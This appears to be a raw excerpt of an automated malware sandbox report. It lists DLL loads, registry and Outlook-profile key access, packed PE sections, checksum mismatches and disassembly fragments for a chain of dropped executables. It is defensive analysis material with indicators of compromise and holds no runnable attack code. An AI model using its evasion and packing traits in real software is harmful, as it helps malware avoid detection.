Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: bcp47langs.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: slc.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: userenv.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: sppc.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: pcacli.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: mpr.dll
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Section loaded: sfc_os.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mscoree.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: kernel.appcore.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: version.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: uxtheme.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: cryptsp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: rsaenh.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: cryptbase.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dwrite.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.storage.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: wldp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: profapi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.applicationmodel.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: twinapi.appcore.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: wintypes.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.globalization.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: bcp47langs.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: bcp47mrm.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dwmapi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: d3d9.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: d3d10warp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: urlmon.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: iertutil.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: srvcli.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: netutils.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windowscodecs.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: msasn1.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: msisip.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: wshext.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: appxsip.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: opcservices.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: esdsip.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ncrypt.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ntasn1.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ncrypt.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ntasn1.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ncryptprov.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: wtsapi32.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: winsta.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: powrprof.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: umpdc.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dataexchange.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: d3d11.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dcomp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dxgi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: resourcepolicyclient.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: textshaping.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dxcore.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: winmm.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: textinputframework.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: coreuicomponents.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: coremessaging.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ntmarta.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: coremessaging.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: msctfui.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.web.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: uiautomationcore.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: propsys.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: d3dcompiler_47.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: wininet.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: sspicli.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: rasapi32.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: rasman.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: rtutils.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mswsock.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: winhttp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: iphlpapi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dhcpcsvc6.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dhcpcsvc.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: winnsi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: dnsapi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: rasadhlp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: fwpuclnt.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: secur32.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: schannel.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mskeyprotect.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ncryptsslp.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: gpapi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mscms.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: userenv.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: coloradapterclient.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windowscodecsext.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: installservice.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mpr.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: slc.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: sppc.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: ieframe.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: netapi32.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: wkscli.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: edputil.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mlang.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: policymanager.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: msvcp110_win.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: twinui.appcore.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: execmodelproxy.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: mrmcorer.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windows.ui.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: windowmanagementapi.dll
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Source: file.exe

Static file information: File size 3269120 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: file.exe

Static PE information: Raw size of ifzwduwo is bigger than: 0x100000 < 0x2b2400

Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: c534667f0b.exe, 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000000.2753701164.0000024720CF2000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: c534667f0b.exe, 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, 22129f7e57cc4f01a77377b20bd0ace2.exe, 00000013.00000000.2753701164.0000024720CF2000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: c534667f0b.exe, 0000000A.00000000.2569293502.0000000000682000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: c534667f0b.exe, 0000000A.00000000.2569293502.0000000000682000.00000002.00000001.01000000.0000000B.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.260000.0.unpack :EW;.rsrc:W;.idata :W;ifzwduwo:EW;kyfineaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ifzwduwo:EW;kyfineaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W;ifzwduwo:EW;kyfineaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ifzwduwo:EW;kyfineaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W;ifzwduwo:EW;kyfineaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ifzwduwo:EW;kyfineaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Unpacked PE file: 17.2.48a114f480.exe.f50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wfipzyes:EW;apfxvsxz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wfipzyes:EW;apfxvsxz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Unpacked PE file: 48.2.3c08a943ba.exe.350000.0.unpack :EW;.rsrc:W;.idata :W;dkxxriqm:EW;lwvdqzfy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: random[1].exe1.6.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x453c80 should be: 0x448b2d
Source: random[4].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 0016128732.exe.6.dr	Static PE information: real checksum: 0x453c80 should be: 0x448b2d
Source: random[3].exe1.6.dr	Static PE information: real checksum: 0x2b7503 should be: 0x2b6958
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x454cda should be: 0x45a0f8
Source: 3c08a943ba.exe.6.dr	Static PE information: real checksum: 0x2b7503 should be: 0x2b6958
Source: 17e7d05a4e.exe.6.dr	Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: fa82de29a9.exe.6.dr	Static PE information: real checksum: 0x2cc61c should be: 0x2d30ea
Source: ec04af5574.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: 22129f7e57cc4f01a77377b20bd0ace2.exe.10.dr	Static PE information: real checksum: 0x10c5c5 should be: 0x10b49f
Source: random[3].exe.6.dr	Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x31f402 should be: 0x31ec4e
Source: ebd07c8db5.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: random[2].exe2.6.dr	Static PE information: real checksum: 0x2cc61c should be: 0x2d30ea
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: fde7a493e9.exe.6.dr	Static PE information: real checksum: 0x1e164c should be: 0x1e3321
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: 48a114f480.exe.6.dr	Static PE information: real checksum: 0x454cda should be: 0x45a0f8
Source: random[4].exe1.6.dr	Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: c534667f0b.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x243ba
Source: 6253581e35.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 98d75c3c44.exe.6.dr	Static PE information: real checksum: 0x1cc347 should be: 0x1d18e0
Source: random[4].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: random[2].exe1.6.dr	Static PE information: real checksum: 0x1cc347 should be: 0x1d18e0
Source: file.exe	Static PE information: real checksum: 0x31f402 should be: 0x31ec4e
Source: 03f60c0f6e.exe.6.dr	Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x1e164c should be: 0x1e3321

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: ifzwduwo
Source: file.exe	Static PE information: section name: kyfineaz
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: ifzwduwo
Source: skotes.exe.0.dr	Static PE information: section name: kyfineaz
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: .idata
Source: random[3].exe.6.dr	Static PE information: section name:
Source: random[3].exe.6.dr	Static PE information: section name: wekcazbo
Source: random[3].exe.6.dr	Static PE information: section name: ttllozcv
Source: random[3].exe.6.dr	Static PE information: section name: .taggant
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name:
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: .idata
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name:
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: wekcazbo
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: ttllozcv
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: gzrpzaat
Source: random[1].exe.6.dr	Static PE information: section name: usdkjmbf
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 0016128732.exe.6.dr	Static PE information: section name:
Source: 0016128732.exe.6.dr	Static PE information: section name: .idata
Source: 0016128732.exe.6.dr	Static PE information: section name:
Source: 0016128732.exe.6.dr	Static PE information: section name: gzrpzaat
Source: 0016128732.exe.6.dr	Static PE information: section name: usdkjmbf
Source: 0016128732.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name: .eh_fram
Source: 03f60c0f6e.exe.6.dr	Static PE information: section name: .eh_fram
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: wfipzyes
Source: random[1].exe2.6.dr	Static PE information: section name: apfxvsxz
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 48a114f480.exe.6.dr	Static PE information: section name:
Source: 48a114f480.exe.6.dr	Static PE information: section name: .idata
Source: 48a114f480.exe.6.dr	Static PE information: section name:
Source: 48a114f480.exe.6.dr	Static PE information: section name: wfipzyes
Source: 48a114f480.exe.6.dr	Static PE information: section name: apfxvsxz
Source: 48a114f480.exe.6.dr	Static PE information: section name: .taggant
Source: random[3].exe0.6.dr	Static PE information: section name: .fptable
Source: b73717b60b.exe.6.dr	Static PE information: section name: .fptable
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: vqihsser
Source: random[2].exe.6.dr	Static PE information: section name: hmiawicu
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: fde7a493e9.exe.6.dr	Static PE information: section name:
Source: fde7a493e9.exe.6.dr	Static PE information: section name: .idata
Source: fde7a493e9.exe.6.dr	Static PE information: section name:
Source: fde7a493e9.exe.6.dr	Static PE information: section name: vqihsser
Source: fde7a493e9.exe.6.dr	Static PE information: section name: hmiawicu
Source: fde7a493e9.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe1.6.dr	Static PE information: section name:
Source: random[2].exe1.6.dr	Static PE information: section name: .idata
Source: random[2].exe1.6.dr	Static PE information: section name:
Source: random[2].exe1.6.dr	Static PE information: section name: bdbisbrv
Source: random[2].exe1.6.dr	Static PE information: section name: zfipemww
Source: random[2].exe1.6.dr	Static PE information: section name: .taggant
Source: 98d75c3c44.exe.6.dr	Static PE information: section name:
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: .idata
Source: 98d75c3c44.exe.6.dr	Static PE information: section name:
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: bdbisbrv
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: zfipemww
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe2.6.dr	Static PE information: section name:
Source: random[2].exe2.6.dr	Static PE information: section name: .idata
Source: random[2].exe2.6.dr	Static PE information: section name: gpmjnkqq
Source: random[2].exe2.6.dr	Static PE information: section name: dddwmisr
Source: random[2].exe2.6.dr	Static PE information: section name: .taggant
Source: fa82de29a9.exe.6.dr	Static PE information: section name:
Source: fa82de29a9.exe.6.dr	Static PE information: section name: .idata
Source: fa82de29a9.exe.6.dr	Static PE information: section name: gpmjnkqq
Source: fa82de29a9.exe.6.dr	Static PE information: section name: dddwmisr
Source: fa82de29a9.exe.6.dr	Static PE information: section name: .taggant
Source: random[3].exe1.6.dr	Static PE information: section name:
Source: random[3].exe1.6.dr	Static PE information: section name: .idata
Source: random[3].exe1.6.dr	Static PE information: section name: dkxxriqm
Source: random[3].exe1.6.dr	Static PE information: section name: lwvdqzfy
Source: random[3].exe1.6.dr	Static PE information: section name: .taggant
Source: 3c08a943ba.exe.6.dr	Static PE information: section name:
Source: 3c08a943ba.exe.6.dr	Static PE information: section name: .idata
Source: 3c08a943ba.exe.6.dr	Static PE information: section name: dkxxriqm
Source: 3c08a943ba.exe.6.dr	Static PE information: section name: lwvdqzfy
Source: 3c08a943ba.exe.6.dr	Static PE information: section name: .taggant
Source: service123.exe.7.dr	Static PE information: section name: .eh_fram
Source: UKzjyWlrjRLOjKNNlNHI.dll.7.dr	Static PE information: section name: .eh_fram
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe.10.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0027D91C push ecx; ret	0_2_0027D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00271359 push es; ret	0_2_0027135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_000DD91C push ecx; ret	1_2_000DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_000DD91C push ecx; ret	2_2_000DD92F
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036D6F3A push ecx; retf	9_3_036D6F60
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036D6F3A push ecx; retf	9_3_036D6F60
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036DD0D0 push eax; retf	9_3_036DD0D1
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036D6F3A push ecx; retf	9_3_036D6F60
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036D6F3A push ecx; retf	9_3_036D6F60
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036E34F0 push edi; ret	9_3_036E34F2
Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036E3129 push edi; retf	9_3_036E312A
